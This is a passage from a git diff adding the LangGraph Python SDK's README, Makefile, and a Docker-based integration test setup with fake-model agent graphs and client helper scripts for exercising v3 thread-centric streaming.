"hello"}]}) + for stream in thread.messages: + print(stream.text) +``` + +The sync client uses SSE only (`transport="websocket"` is not supported). diff --git a/libs/sdk-py/Makefile b/libs/sdk-py/Makefile new file mode 100644 index 0000000..caf6c43 --- /dev/null +++ b/libs/sdk-py/Makefile @@ -0,0 +1,26 @@ +.PHONY: lint type format test + +test: + uv run pytest tests + +###################### +# LINTING AND FORMATTING +###################### + +# Define a variable for Python and notebook files. +PYTHON_FILES=. +lint format: PYTHON_FILES=. +lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E '\.py$$|\.ipynb$$') + +lint lint_diff: + uv run ruff check . + [ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff + [ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES) + uv run ty check . + +type: + uv run ty check . + +format format_diff: + uv run ruff check --select I --fix $(PYTHON_FILES) + uv run ruff format $(PYTHON_FILES) diff --git a/libs/sdk-py/README.md b/libs/sdk-py/README.md new file mode 100644 index 0000000..53fae13 --- /dev/null +++ b/libs/sdk-py/README.md @@ -0,0 +1,96 @@ +# LangGraph Python SDK + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-sdk?label=%20)](https://pypi.org/project/langgraph-sdk/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-sdk)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-sdk)](https://pypistats.org/packages/langgraph-sdk) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). +[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph-sdk +``` + +## 🤔 What is this? + +This library provides the Python SDK for interacting with the LangGraph API. Use it to connect to a running LangGraph API server, manage assistants and threads, and stream runs from Python applications. + +You will need a running LangGraph API server. If you're running a server locally using `langgraph-cli`, the SDK will automatically point at `http://localhost:8123`; otherwise, specify the server URL when creating a client. + +## 📖 Documentation + +For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph-sdk/). For conceptual guides and tutorials, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +## Quick Start + +```python +from langgraph_sdk import get_client + +# If you're using a remote server, initialize the client with `get_client(url=REMOTE_URL)` +client = get_client() + +# List all assistants +assistants = await client.assistants.search() + +# We auto-create an assistant for each graph you register in config. +agent = assistants[0] + +# Start a new thread +thread = await client.threads.create() + +# Start a streaming run +input = {"messages": [{"role": "human", "content": "what's the weather in la"}]} +async for chunk in client.runs.stream(thread['thread_id'], agent['assistant_id'], input=input): + print(chunk) +``` + +## Known Limitations + +- **WebSocket transport** requires `websockets>=14` and is only available on the async client (`AsyncThreadStream`). The sync client (`SyncThreadStream`) uses SSE exclusively. +- **`thread.extensions[name]`** opens a new subscription each time the same name is accessed. Assign the projection to a variable and reuse it within a single session rather than re-indexing across multiple iterations. +- **Sync streaming** drives the lifecycle watcher in a background thread. Long-lived sync sessions will hold that thread open until the context manager exits. +- **Reconnect attempts** are limited to 5 by default for both the shared SSE fan-out and the lifecycle watcher. Persistent network partitions will surface as `RuntimeError` on in-flight projections. + +## Thread-Centric Streaming (v3) + +`client.threads.stream()` returns a context manager that owns the SSE session for one thread. Typed projections — values snapshots, message streams, tool calls, custom events — all share the same underlying connection. + +```python +from langgraph_sdk import get_client +import asyncio + +client = get_client() + +async with client.threads.stream( + thread_id="my-thread", + assistant_id="agent", +) as thread: + await thread.run.start(input={"messages": [{"role": "user", "content": "hi"}]}) + + # Start all consumers concurrently so they share one SSE connection. + async def get_messages(): + return [s async for s in thread.messages] + + async def get_tool_calls(): + return [c async for c in thread.tool_calls] + + messages, tool_calls = await asyncio.gather(get_messages(), get_tool_calls()) + + for stream in messages: + print(await stream.text) # accumulated text + + final = await thread.output # terminal state values +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/sdk-py/integration/Dockerfile b/libs/sdk-py/integration/Dockerfile new file mode 100644 index 0000000..cd830b8 --- /dev/null +++ b/libs/sdk-py/integration/Dockerfile @@ -0,0 +1,40 @@ +# Thin layer on top of the latest published langgraph-api image. +# +# The base image bundles `langgraph_api`, `langgraph_runtime_postgres`, +# `langgraph_license`, `langgraph_grpc_common`, the Go `core-api-grpc` +# binary, and an entrypoint that starts both the gRPC server and uvicorn +# (`/storage/entrypoint.sh`). It also ships langgraph + langchain-core. +# +# We track the `latest-py3.12` tag rather than pinning a specific revision +# so CI surfaces upstream regressions early. If the base shifts under us, +# `docker compose build` will pick up the new digest on the next run. +# +# The image is the `licensed` variant, so it requires either a real +# `LANGSMITH_API_KEY` or a `LANGGRAPH_CLOUD_LICENSE_KEY` at runtime +# (passed through from the host shell / CI secrets, see docker-compose.yml). + +FROM langchain/langgraph-api:latest-py3.12 + +# Graph dependencies not in the base image. `deepagents` is required for +# the deep_agent graph; the supervisor and researcher use a fake chat +# model (no `langchain-anthropic`) so no LLM API key is needed. +RUN pip install --no-cache-dir \ + "langchain>=1.3.0" \ + "deepagents>=0.6.2" + +# Swap the published langgraph *core* for this monorepo's local copy, so the +# server executes the langgraph under test rather than the latest release. +# We keep the rest of the base image (langgraph-api, runtime, Go core server) +# on `latest` — that still surfaces upstream regressions — but the core the +# server runs is now the PR's, which is what lets this suite catch core +# regressions (e.g. ensure_config / runtime changes) before they're published. +# `--no-deps` keeps the base image's already-compatible +# checkpoint/prebuilt/sdk; we only replace core. The local source comes from +# the `langgraph_src` additional build context (see docker-compose.yml). +COPY --from=langgraph_src pyproject.toml README.md LICENSE /opt/langgraph-src/ +COPY --from=langgraph_src langgraph /opt/langgraph-src/langgraph/ +RUN pip install --no-cache-dir --force-reinstall --no-deps /opt/langgraph-src + +# Project graphs + registration config. +COPY graph/ /app/graph/ +COPY langgraph.json /app/langgraph.json diff --git a/libs/sdk-py/integration/docker-compose.yml b/libs/sdk-py/integration/docker-compose.yml new file mode 100644 index 0000000..3206073 --- /dev/null +++ b/libs/sdk-py/integration/docker-compose.yml @@ -0,0 +1,98 @@ +name: langgraph-v3-integration + +services: + postgres: + image: pgvector/pgvector:pg16 + environment: + POSTGRES_DB: postgres + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + command: ["postgres", "-c", "shared_preload_libraries=vector", "-c", "max_connections=150"] + ports: + - "5443:5432" + healthcheck: + test: pg_isready -U postgres + interval: 5s + timeout: 1s + retries: 5 + start_period: 10s + tmpfs: + - /var/lib/postgresql/data + + redis: + image: redis:7-alpine + command: redis-server --maxmemory 256mb --maxmemory-policy allkeys-lru + ports: + - "6380:6379" + healthcheck: + test: redis-cli ping + interval: 5s + timeout: 1s + retries: 5 + start_period: 2s + tmpfs: + - /data + + api: + # Thin layer on top of langchain/langgraph-api:latest-py3.12 — + # see ./Dockerfile. The base image bundles langgraph-api + + # langgraph_runtime_postgres + langgraph_license + the Go core-server; + # on top we add graph deps (deepagents), the graph files, and this + # monorepo's local langgraph *core* (so the server runs the code under + # test, not the released langgraph). + build: + context: . + dockerfile: Dockerfile + additional_contexts: + # The monorepo's local langgraph core (libs/langgraph), installed over + # the base image so the server runs the langgraph under test. See the + # Dockerfile for why. + langgraph_src: ../../langgraph + image: langgraph-v3-integration-api:local + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + environment: + # Database + cache (the production-shape postgres+redis runtime). + # Recent langgraph-api reads DATABASE_URI first and falls back to + # POSTGRES_URI; set both so older code paths also work. + DATABASE_URI: postgres://postgres:postgres@postgres:5432/postgres?sslmode=disable + POSTGRES_URI: postgres://postgres:postgres@postgres:5432/postgres?sslmode=disable + REDIS_URI: redis://redis:6379 + LANGGRAPH_RUNTIME_EDITION: postgres + + LANGGRAPH_AUTH_TYPE: noop + LANGSMITH_TRACING: "false" + + PORT: "8000" + + # Required for the v3 thread-centric streaming protocol. Without this + # flag the API falls back to the legacy v2 streaming surface and the + # client's v3 endpoints (POST /threads/{id}/stream/events, /commands, + # etc.) won't be exposed. + FF_OPTIMIZED_STREAMING: "true" + + # Tell langgraph-api which graphs to register. The langgraph CLI sets + # this from langgraph.json; we're bypassing the CLI (running uvicorn + # directly) so we set it manually. + LANGSERVE_GRAPHS: '{"agent":"/app/graph/streaming_graph.py:graph","tools_agent":"/app/graph/tools_agent.py:graph","deep_agent":"/app/graph/deep_agent.py:graph","factory_agent":"/app/graph/factory_graph.py:make_graph"}' + + # The published langgraph-api image is the `licensed` variant and + # requires a real LANGSMITH_API_KEY (or LANGGRAPH_CLOUD_LICENSE_KEY) + # at runtime. Passed through from the host shell / CI secrets. + LANGSMITH_API_KEY: ${LANGSMITH_API_KEY:-} + LANGGRAPH_CLOUD_LICENSE_KEY: ${LANGGRAPH_CLOUD_LICENSE_KEY:-} + # Mount the graph + config so edits don't require a rebuild. + volumes: + - ./graph:/app/graph:ro + - ./langgraph.json:/app/langgraph.json:ro + ports: + - "2024:8000" + healthcheck: + test: ["CMD-SHELL", "wget -q -O- http://localhost:8000/ok || exit 1"] + interval: 5s + timeout: 3s + retries: 30 + start_period: 30s diff --git a/libs/sdk-py/integration/graph/__init__.py b/libs/sdk-py/integration/graph/__init__.py new file mode 100644 index 0000000..c9c3dd7 --- /dev/null +++ b/libs/sdk-py/integration/graph/__init__.py @@ -0,0 +1,6 @@ +"""Example graphs for v3 streaming integration tests.""" + +from .deep_agent import graph as deep_agent +from .streaming_graph import graph as streaming_graph + +__all__ = ["deep_agent", "streaming_graph"] diff --git a/libs/sdk-py/integration/graph/deep_agent.py b/libs/sdk-py/integration/graph/deep_agent.py new file mode 100644 index 0000000..5dc6d73 --- /dev/null +++ b/libs/sdk-py/integration/graph/deep_agent.py @@ -0,0 +1,96 @@ +"""Deep-agent variant exercising v3 `thread.subgraphs` properly. + +`create_deep_agent` builds a graph whose `task` tool dispatches to one +of its configured `SubAgent`s. When the supervisor's model issues a +`task(subagent_type="researcher", description=...)` tool call, the +sub-agent runs as a nested invocation and the v3 streaming server +emits the subagent's lifecycle, messages, and tool events under a +scoped namespace. That namespace is what `thread.subgraphs` surfaces +as a direct-child `ScopedStreamHandle`. + +Both the supervisor and the researcher use `FakeMessagesListChatModel` +with pre-scripted responses so this graph is hermetic. No LLM API keys +are required, and the test is deterministic. +""" + +from __future__ import annotations + +from typing import Any + +from deepagents import create_deep_agent +from deepagents.middleware.subagents import SubAgent +from langchain_core.language_models.fake_chat_models import FakeMessagesListChatModel +from langchain_core.messages import AIMessage + + +class _FakeChatModelWithTools(FakeMessagesListChatModel): + """`FakeMessagesListChatModel` that accepts `bind_tools(...)` as a no-op. + + `create_deep_agent` calls `model.bind_tools(tools)` to expose the `task` + tool to the supervisor. The base `BaseChatModel.bind_tools` raises + `NotImplementedError`. Pre-baked responses in `responses` already carry + the desired `tool_calls`, so we ignore the tools list and return self. + """ + + def bind_tools(self, tools: Any, **kwargs: Any) -> _FakeChatModelWithTools: + return self + + +# Supervisor turn 1: dispatch to the researcher via the `task` tool. +# Supervisor turn 2: emit a final assistant message (no more tool calls), +# which closes the agent loop. +_supervisor_model = _FakeChatModelWithTools( + responses=[ + AIMessage( + content="", + id="sup-1", + tool_calls=[ + { + "id": "tc-task-1", + "name": "task", + "args": { + "subagent_type": "researcher", + "description": "research v3 streaming", + }, + } + ], + ), + AIMessage(content="Research complete.", id="sup-2"), + ] +) + + +# Researcher turn 1: final message, no tool calls. Closes the subagent loop. +_researcher_model = _FakeChatModelWithTools( + responses=[ + AIMessage( + content="v3 streaming is event-typed and thread-centric.", id="res-1" + ), + ] +) + + +_researcher: SubAgent = { + "name": "researcher", + "description": ( + "Looks up notes on a topic and returns a short summary. " + "Use this when the user wants to research something." + ), + "system_prompt": ( + "You are a research assistant. Reply with one or two sentences " + "summarising what the user asked about. Do not call any tools." + ), + "model": _researcher_model, +} + + +graph = create_deep_agent( + model=_supervisor_model, + system_prompt=( + "You are a supervisor coordinating a researcher subagent. " + "When the user asks to research anything, call the `task` tool " + "with subagent_type='researcher'." + ), + subagents=[_researcher], + name="v3_deep_agent", +) diff --git a/libs/sdk-py/integration/graph/factory_graph.py b/libs/sdk-py/integration/graph/factory_graph.py new file mode 100644 index 0000000..845290d --- /dev/null +++ b/libs/sdk-py/integration/graph/factory_graph.py @@ -0,0 +1,70 @@ +"""Integration fixture: a graph *factory* (not a pre-compiled graph). + +Registered as `factory_agent`. The other integration graphs are all +pre-compiled objects, so this is the only fixture that drives the server's +graph-factory code path on a run. That path is where langgraph-api seeds a +`ServerRuntime` into the run config; executing a run against this graph is the +end-to-end regression guard for the langgraph 1.2.3 `ensure_config` +configurable-merge surfacing a leaked `__pregel_runtime` +(`AttributeError: '_ExecutionRuntime' object has no attribute 'control'`). +""" + +from __future__ import annotations + +from typing import TYPE_CHECKING + +from langgraph.graph.state import END, CompiledStateGraph, StateGraph +from langgraph.store.base import BaseStore +from typing_extensions import TypedDict + +if TYPE_CHECKING: + from langgraph.types import RunnableConfig + + from langgraph_sdk.runtime import ServerRuntime + + +class State(TypedDict, total=False): + text: str + access_context: str + is_for_execution: bool + + +async def make_graph( + config: RunnableConfig, runtime: ServerRuntime +) -> CompiledStateGraph: + """2-arg factory (config + runtime) returning a compiled echo graph. + + Validates that the server injected a real `ServerRuntime`, then builds a + one-node graph whose output echoes the input and reports the runtime's + access context (so the test can confirm the factory ran under execution). + """ + from langgraph_sdk.runtime import ( + _ExecutionRuntime, + _ReadRuntime, + ) + + # `if/raise` rather than `assert` so the contract holds under `python -O`. + if not isinstance(runtime, (_ExecutionRuntime, _ReadRuntime)): + raise TypeError( + f"factory must receive a ServerRuntime, got {type(runtime).__name__}" + ) + if not isinstance(runtime.store, BaseStore): + raise TypeError( + f"runtime.store must be a BaseStore, got {type(runtime.store).__name__}" + ) + + access_context = runtime.access_context + is_for_execution = runtime.execution_runtime is not None + + def echo(state: State) -> State: + return { + "text": (state.get("text") or "") + " echoed", + "access_context": access_context, + "is_for_execution": is_for_execution, + } + + workflow = StateGraph(State) + workflow.add_node("echo", echo) + workflow.set_entry_point("echo") + workflow.add_edge("echo", END) + return workflow.compile() diff --git a/libs/sdk-py/integration/graph/streaming_graph.py b/libs/sdk-py/integration/graph/streaming_graph.py new file mode 100644 index 0000000..c71765f --- /dev/null +++ b/libs/sdk-py/integration/graph/streaming_graph.py @@ -0,0 +1,300 @@ +"""Example graph exercising the full v3 streaming surface. + +Topology: + + __start__ -> stream_message -> call_tool -> ask_human -> subgraph -> __end__ + +Each node is designed to surface a specific v3 channel: + +- `stream_message` yields token-by-token AI message chunks (`messages`). +- `call_tool` invokes a tool and emits a tool-call lifecycle (`tools`). +- `ask_human` raises an `interrupt(...)` to test `thread.interrupted` / + `thread.run.respond(...)` (`lifecycle` / `input`). +- `subgraph` is a nested `StateGraph` invoked once so `thread.subgraphs` has + exactly one direct child (`tasks` + `messages` under a namespace). + +Extensions: every node calls `get_stream_writer()("progress", {...})` so +`thread.extensions["progress"]` produces deterministic events. + +No real LLM is used — message streaming is simulated by yielding a list of +`AIMessageChunk`s from the node. This keeps the integration suite +hermetic. +""" + +from __future__ import annotations + +import operator +from collections.abc import AsyncIterator, Iterator +from typing import Annotated, Any, TypedDict + +from langchain_core.callbacks import ( + AsyncCallbackManagerForLLMRun, + CallbackManagerForLLMRun, +) +from langchain_core.language_models.chat_models import BaseChatModel +from langchain_core.messages import AIMessage, AIMessageChunk, BaseMessage, ToolMessage +from langchain_core.outputs import ChatGenerationChunk +from langchain_core.tools import tool +from langgraph.config import get_stream_writer +from langgraph.graph import StateGraph +from langgraph.graph.message import add_messages +from langgraph.stream.transformers import CustomTransformer, UpdatesTransformer +from langgraph.types import interrupt + + +class _StreamingFakeChatModel(BaseChatModel): + """Fake ``BaseChatModel`` that streams ``AIMessageChunk``s. + + Implements ``_stream`` / ``_astream`` so the v3 chat-model + callback chain (``_aiter_v2_events`` in + ``langchain_core/language_models/chat_models.py``) fires + ``run_manager.on_stream_event(...)`` per normalized protocol + event. ``StreamMessagesHandlerV2`` -- attached by the langgraph + runtime when ``"messages"`` is in stream_modes -- catches those + callbacks and surfaces them on the v3 wire ``messages`` channel + at root namespace. + + The base ``FakeMessagesListChatModel`` would have worked for + ``ainvoke`` but raises ``NotImplementedError`` from ``_stream``, + so it can't drive the streaming-callback path. ``GenericFakeChatModel`` + implements ``_stream`` but takes an ``Iterator`` that gets + exhausted across invocations. + """ + + text: str = "Hello, world!" + message_id: str = "ai-msg-1" + + @property + def _llm_type(self) -> str: + return "streaming-fake-chat-model" + + def _generate(self, messages, stop=None, run_manager=None, **kwargs): + from langchain_core.outputs import ChatGeneration, ChatResult + + return ChatResult( + generations=[ + ChatGeneration(message=AIMessage(content=self.text, id=self.message_id)) + ] + ) + + def _stream( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: CallbackManagerForLLMRun | None = None, + **kwargs: object, + ) -> Iterator[ChatGenerationChunk]: + # Yield content as space-separated word chunks so deltas are + # observable. The final chunk's ``chunk_position="last"`` tells + # the callback chain to emit ``message-finish``. + parts = self.text.split(" ") + for i, part in enumerate(parts): + content = part if i == 0 else " " + part + chunk = AIMessageChunk(content=content, id=self.message_id) + if i == len(parts) - 1: + chunk.chunk_position = "last" + yield ChatGenerationChunk(message=chunk) + + async def _astream( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: AsyncCallbackManagerForLLMRun | None = None, + **kwargs: object, + ) -> AsyncIterator[ChatGenerationChunk]: + for chunk in self._stream(messages, stop=stop, **kwargs): + yield chunk + + +_stream_model = _StreamingFakeChatModel() + + +class AgentState(TypedDict): + """Top-level state for the agent. + + `messages` accumulates AI/tool/user messages via the standard `add_messages` + reducer. `value` is a simple scalar to test the `values` channel. + `items` accumulates list-append updates via `operator.add` so each node + contributes a marker and the terminal state reflects the full path + rather than only the last node's return. + """ + + messages: Annotated[list[BaseMessage], add_messages] + value: str + items: Annotated[list[str], operator.add] + + +@tool +def search(query: str) -> str: + """Look up `query` in a fake search index.""" + return f"result for {query!r}" + + +# --------------------------------------------------------------------------- +# Nodes +# --------------------------------------------------------------------------- + + +async def stream_message(state: AgentState) -> dict[str, Any]: + """Stream an AI message via a fake chat model. + + Awaiting ``model.ainvoke(...)`` drives langgraph's chat-model + streaming callbacks (``StreamMessagesHandlerV2`` -> + ``MessagesTransformer``), so the v3 ``messages`` channel emits the + normalized delta lifecycle (``message-start`` -> + ``content-block-start`` -> ``content-block-delta`` -> + ``content-block-finish`` -> ``message-finish``) at root namespace. + Returning the resolved ``AIMessage`` via the messages reducer also + keeps the existing ``values`` snapshots intact. + """ + writer = get_stream_writer() + + writer({"name": "progress", "step": "stream_message", "phase": "start"}) + + # ``astream_events(version="v3")`` drives the chat model's + # ``_aiter_v2_events`` path (``BaseChatModel`` in + # ``langchain_core/language_models/chat_models.py``), which fires + # ``run_manager.on_stream_event(...)`` per normalized protocol + # event (``message-start`` / ``content-block-delta`` / + # ``message-finish``). ``StreamMessagesHandlerV2`` -- attached by + # the langgraph runtime when ``"messages"`` is in stream_modes -- + # catches those callbacks and surfaces them on the v3 wire + # ``messages`` channel at root namespace. Plain ``astream(...)`` + # does NOT route through this handler. + text_parts: list[str] = [] + message_id = "ai-msg-1" + # ``astream_events(version="v3")`` returns an awaitable that resolves + # to the async iterator. + stream = await _stream_model.astream_events([], version="v3") + async for event in stream: + if event.get("event") == "content-block-delta": + delta = event.get("delta") or {} + t = delta.get("text") if isinstance(delta, dict) else None + if isinstance(t, str): + text_parts.append(t) + elif event.get("event") == "message-start": + mid = event.get("id") + if isinstance(mid, str): + message_id = mid + final = AIMessage(content="".join(text_parts), id=message_id) + + writer({"name": "progress", "step": "stream_message", "phase": "end"}) + return {"messages": [final], "value": "x", "items": ["streamed"]} + + +def call_tool(state: AgentState) -> dict[str, Any]: + """Invoke a tool and emit its result as a tool message. + + A tool call here exercises the `tools` channel in v3. + """ + writer = get_stream_writer() + writer({"name": "progress", "step": "call_tool", "phase": "start"}) + + # Hand-roll a tool call so we don't need a model to issue it. + tool_call_id = "tc-1" + ai_with_tool = AIMessage( + content="", + id="ai-msg-2", + tool_calls=[ + { + "id": tool_call_id, + "name": "search", + "args": {"query": "v3"}, + } + ], + ) + result = search.invoke({"query": "v3"}) + tool_msg = ToolMessage(content=result, tool_call_id=tool_call_id) + + writer({"name": "progress", "step": "call_tool", "phase": "end"}) + return { + "messages": [ai_with_tool, tool_msg], + "items": ["tool"], + } + + +def ask_human(state: AgentState) -> dict[str, Any]: + """Pause the graph and wait for a `thread.run.respond(...)`. + + `interrupt(value)` raises a special exception that the runtime catches; + the v3 lifecycle emits `input.requested` with this `value` and the + client must call `thread.run.respond(answer)` to continue. + """ + writer = get_stream_writer() + writer({"name": "progress", "step": "ask_human", "phase": "start"}) + + answer = interrupt("Are we good?") + + writer( + {"name": "progress", "step": "ask_human", "phase": "end", "answer": str(answer)} + ) + return { + "messages": [AIMessage(content=f"Human said: {answer}", id="ai-msg-3")], + "items": ["asked"], + } + + +# --------------------------------------------------------------------------- +# Subgraph (exercises `thread.subgraphs`) +# --------------------------------------------------------------------------- + + +class SubState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + note: str + + +def sub_node(state: SubState) -> dict[str, Any]: + """Single node in the subgraph; emits a message and a custom event.""" + writer = get_stream_writer() + writer({"name": "progress", "step": "sub_node", "phase": "start"}) + msg = AIMessage(content="from subgraph", id="sub-msg-1") + writer({"name": "progress", "step": "sub_node", "phase": "end"}) + return {"messages": [msg], "note": "ran"} + + +_sub_builder = StateGraph(SubState) +_sub_builder.add_node("sub", sub_node) +_sub_builder.set_entry_point("sub") +_sub_builder.set_finish_point("sub") +subgraph = _sub_builder.compile() + + +def run_subgraph(state: AgentState) -> dict[str, Any]: + """Invoke the subgraph once so it appears as a direct child handle.""" + writer = get_stream_writer() + writer({"name": "progress", "step": "run_subgraph", "phase": "start"}) + sub_state = subgraph.invoke({"messages": [], "note": ""}) + writer({"name": "progress", "step": "run_subgraph", "phase": "end"}) + return { + "messages": sub_state["messages"], + "items": ["sub"], + } + + +# --------------------------------------------------------------------------- +# Top-level graph +# --------------------------------------------------------------------------- + + +_builder: StateGraph[AgentState, Any, Any, Any] = StateGraph(AgentState) +_builder.add_node("stream_message", stream_message) +_builder.add_node("call_tool", call_tool) +_builder.add_node("ask_human", ask_human) +_builder.add_node("run_subgraph", run_subgraph) + +_builder.set_entry_point("stream_message") +_builder.add_edge("stream_message", "call_tool") +_builder.add_edge("call_tool", "ask_human") +_builder.add_edge("ask_human", "run_subgraph") +_builder.set_finish_point("run_subgraph") + +graph = _builder.compile( + name="v3_integration_agent", + # Register transformers so ``custom`` (``get_stream_writer()``) and + # ``updates`` channels emit on the wire. ``MessagesTransformer`` is + # auto-registered by the v3 mux for any graph that streams a chat + # model. ``ValuesTransformer`` / ``LifecycleTransformer`` are also + # always-on natives. + transformers=[CustomTransformer, UpdatesTransformer], +) diff --git a/libs/sdk-py/integration/graph/tools_agent.py b/libs/sdk-py/integration/graph/tools_agent.py new file mode 100644 index 0000000..a4aeb56 --- /dev/null +++ b/libs/sdk-py/integration/graph/tools_agent.py @@ -0,0 +1,97 @@ +"""create_agent-based example exercising the v3 `tools` channel. + +`thread.tool_calls` and the underlying `tools` channel only emit +events when an actual model issues a tool call through langchain's +agent stack. The synthetic `streaming_graph.py` hand-builds +`AIMessage(tool_calls=[...])` and a `ToolMessage` via the messages +reducer — that gets persisted in state but never produces tool-call +telemetry on the wire. This graph fixes that by going through +`create_agent` with a real tool, driven by a hermetic fake chat model +(no `ANTHROPIC_API_KEY` required). + +Flow on `run.start`: + +1. Supervisor model returns an `AIMessage(tool_calls=[search(query="v3")])`. +2. langchain's tool node executes `search` and produces a `ToolMessage`. +3. Supervisor model returns a final `AIMessage("done.")` to terminate. + +The v3 streaming layer surfaces this as `messages` + `tools` channel +events at root namespace. +""" + +from __future__ import annotations + +from typing import Any + +from langchain.agents import create_agent +from langchain_core.language_models.fake_chat_models import FakeMessagesListChatModel +from langchain_core.messages import AIMessage, BaseMessage, ToolMessage +from langchain_core.outputs import ChatGeneration, ChatResult +from langchain_core.tools import tool + + +@tool +def search(query: str) -> str: + """Look up `query` in a fake search index.""" + return f"result for {query!r}" + + +class _ToolBindingFakeChatModel(FakeMessagesListChatModel): + """Stateless fake chat model driving a single `search` tool call. + + `create_agent` calls `model.bind_tools(tools)` to attach the tool + schema (`langchain/agents/factory.py:1284`). The base + `FakeMessagesListChatModel` inherits `BaseChatModel.bind_tools`, + which raises `NotImplementedError`, so `bind_tools` is overridden as + a no-op (the reply is hand-built and already carries `tool_calls`). + + The reply is derived from conversation state rather than a cycling + response list: the `search` tool call is issued until a `ToolMessage` + appears, then a terminating `AIMessage`. This avoids the response-index + parity flake where `FakeMessagesListChatModel.responses` is shared + process-wide and cycles `0 -> 1 -> 0`; a run that started mid-cycle + (e.g. on a reused server worker) would reply `"done."` first and emit + no tool call. Being order-independent, every run emits exactly one + tool call regardless of how many times the model was previously called. + + `FakeMessagesListChatModel` is subclassed (rather than + `GenericFakeChatModel`) because the latter's `_stream` breaks the + message into content chunks and drops `tool_calls` when content is + empty, causing the v2 streaming path inside `create_agent` to raise + `RuntimeError("v2 stream finished without producing a message")`. + The inherited `_stream` yields the whole message in one chunk, + preserving `tool_calls`. + """ + + def bind_tools(self, tools: Any, **kwargs: Any) -> _ToolBindingFakeChatModel: + return self + + def _generate( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: Any = None, + **kwargs: Any, + ) -> ChatResult: + if any(isinstance(m, ToolMessage) for m in messages): + response = AIMessage(content="done.", id="ai-tools-done") + else: + response = AIMessage( + content="", + id="ai-tools-call", + tool_calls=[{"id": "tc-1", "name": "search", "args": {"query": "v3"}}], + ) + return ChatResult(generations=[ChatGeneration(message=response)]) + + +# `responses` is a required field on `FakeMessagesListChatModel`, but the +# overridden `_generate` derives its reply from state and never reads it. +_supervisor_model = _ToolBindingFakeChatModel(responses=[]) + + +graph = create_agent( + model=_supervisor_model, + tools=[search], + system_prompt="You are a research assistant. Use the search tool when asked.", + name="v3_tools_agent", +) diff --git a/libs/sdk-py/integration/langgraph.json b/libs/sdk-py/integration/langgraph.json new file mode 100644 index 0000000..23da8ca --- /dev/null +++ b/libs/sdk-py/integration/langgraph.json @@ -0,0 +1,11 @@ +{ + "$schema": "https://langgra.ph/schema.json", + "dependencies": ["./graph"], + "graphs": { + "agent": "./graph/streaming_graph.py:graph", + "tools_agent": "./graph/tools_agent.py:graph", + "deep_agent": "./graph/deep_agent.py:graph", + "factory_agent": "./graph/factory_graph.py:make_graph" + }, + "env": {} +} diff --git a/libs/sdk-py/integration/scripts/_common.py b/libs/sdk-py/integration/scripts/_common.py new file mode 100644 index 0000000..49aa33e --- /dev/null +++ b/libs/sdk-py/integration/scripts/_common.py @@ -0,0 +1,124 @@ +"""Shared helpers for the v3 streaming integration scripts. + +All scripts share the same expectations: + +- A `langgraph-api` server is reachable at `BASE_URL` (default + http://localhost:2024 — set by `docker-compose.yml`, which builds + on `langchain/langgraph-api:latest-py3.12`). +- The example graph (`integration/graph/streaming_graph.py:graph`) is + registered under the assistant id `agent` (see `integration/langgraph.json`). + +Each script imports `make_async_client()` / `make_sync_client()` from here +to construct the v3 SDK client. Override `BASE_URL` via the +`LANGGRAPH_INTEGRATION_URL` env var if you're running the API elsewhere. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import os +import threading +from typing import TYPE_CHECKING, Any + +import httpx + +if TYPE_CHECKING: + from langgraph_sdk._async.threads import ThreadsClient as AsyncThreadsClient + from langgraph_sdk._sync.threads import SyncThreadsClient + +BASE_URL = os.environ.get("LANGGRAPH_INTEGRATION_URL", "http://localhost:2024") +ASSISTANT_ID = "agent" + + +def make_async_client() -> tuple[AsyncThreadsClient, httpx.AsyncClient]: + """Build an async ThreadsClient pointing at the integration API. + + Returns the client and the underlying httpx client so callers can close + it. Typical usage: + + ```python + threads, raw = make_async_client() + try: + async with threads.stream(...) as thread: + ... + finally: + await raw.aclose() + ``` + """ + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + raw = httpx.AsyncClient(base_url=BASE_URL, timeout=30.0) + return ThreadsClient(HttpClient(raw)), raw + + +def make_sync_client() -> tuple[SyncThreadsClient, httpx.Client]: + """Build a sync ThreadsClient pointing at the integration API.""" + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.threads import SyncThreadsClient + + raw = httpx.Client(base_url=BASE_URL, timeout=30.0) + return SyncThreadsClient(SyncHttpClient(raw)), raw + + +def header(title: str) -> None: + """Print a section header for script output.""" + bar = "=" * (len(title) + 4) + print(f"\n{bar}\n {title}\n{bar}") + + +def auto_respond_async(thread: Any, response: Any = "yes") -> asyncio.Task[None]: + """Spawn a background task that responds to the first interrupt and exits. + + Opens a private `thread.values` subscription and drains it; the SDK's + `_signal_paused` mechanism pushes the terminal sentinel into the + iterator when `interrupted` flips True, so the loop exits at the + interrupt. The auto-responder then calls `run.respond(...)` and the + foreground iteration sees the rest of the run. + + Returns the task so callers can `await` it before tearing down the + stream (recommended) or cancel it. + """ + + async def _runner() -> None: + async for _ in thread.values: + 